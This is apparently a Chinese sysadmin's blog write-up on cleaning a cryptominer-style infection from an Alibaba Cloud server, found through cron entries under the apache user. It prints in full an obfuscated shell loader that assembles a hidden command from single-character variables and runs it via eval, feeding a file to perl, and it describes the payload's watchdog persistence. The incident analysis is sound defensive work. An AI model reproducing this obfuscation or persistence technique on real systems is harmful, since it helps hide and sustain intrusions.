阿里云服务器CPU提示占用百分百
top 命令
image.png
lsof #命令尝试查看进程相关的文件,没有找到
lsof.png
ls -al /proc/24151 依旧没有太多信息
image.png
cd /var/spool/cron #查定时任务,文件夹下的文件名和用户名对应,上面的进程用户身份都是apache,从来没有用apache身份执行过定时任务,打开文件有如下内容。
apache.png
把这个三个shell脚本拿到本地后查看内容,基本内容一样。
#!/bin/sh
### This Service is responsible for string joining for server renewal and beaming
con1317524="r"
con1910739="/"
con191903="h"
con2034914="s"
con2557185="o"
con2683039="m"
con272717="n"
con2768457="/"
con2773521="c"
con3157177="k"
con3444280="/"
con3544551="p"
con4030936="l"
con4031892="b"
con4348553="/"
con4352323=" "
con4854860="p"
con5001502="a"
con5061252="p"
con5543608=" "
con5661354="r"
con606132="s"
con6433523="a"
con6458477="t"
con6499743="c"
con6843514="i"
con7498943=" "
con7501005="/"
con7827021="v"
con7853517="u"
con7977477="|"
con8269147="o"
con9232283="i"
con9520189="l"
con9612982="e"
con9753413="p"
con9914875="e"
con9986806="s"
eval $con2773521$con5001502$con6458477$con7498943$con4348553$con7827021$con6433523$con5661354$con1910739$con9520189$con9232283$con4031892$con3444280$con4854860$con191903$con3544551$con2768457$con606132$con9914875$con9986806$con2034914$con6843514$con2557185$con272717$con7501005$con2683039$con8269147$con6499743$con3157177$con7853517$con5061252$con4352323$con7977477$con5543608$con9753413$con9612982$con1317524$con4030936
把eval换成echo后,分别执行就可以看到执行的命令是什么。
image.png
上面就是真正执行的命令和文件的位置,再把三个文件通用下载到本地后,查看内容。三个文件内容基本一致,除了部分变量所代表的目录名不一致。
里面是perl语言的代码,定义了一些目录,找到位置后全部删除。
image.png
程序执行的操作:
image.png
这个函数用来检测定时任务是否存在,不存在就创建。
image.png三个进程同时开始的,但是同时工作的只有一个,另外两个是监控状态。报警的时候只会发现一个进程占用cpu比较高,另外两个几乎不占用,看不出来。等被杀死后另外两个中的一个就开始工作,同时会在脚本中重新生成定时任务,不久后被杀死的又会重新启动。
所以要把代码中定义的文件全部删除,并且把三个进程同时杀掉。经过查找,另外两个是名字为perl的进程。验证有没有成功的方法是,手动的删除crontab的apache文件,看看是否会自动生成,不在自动生成就算成功了。
网友评论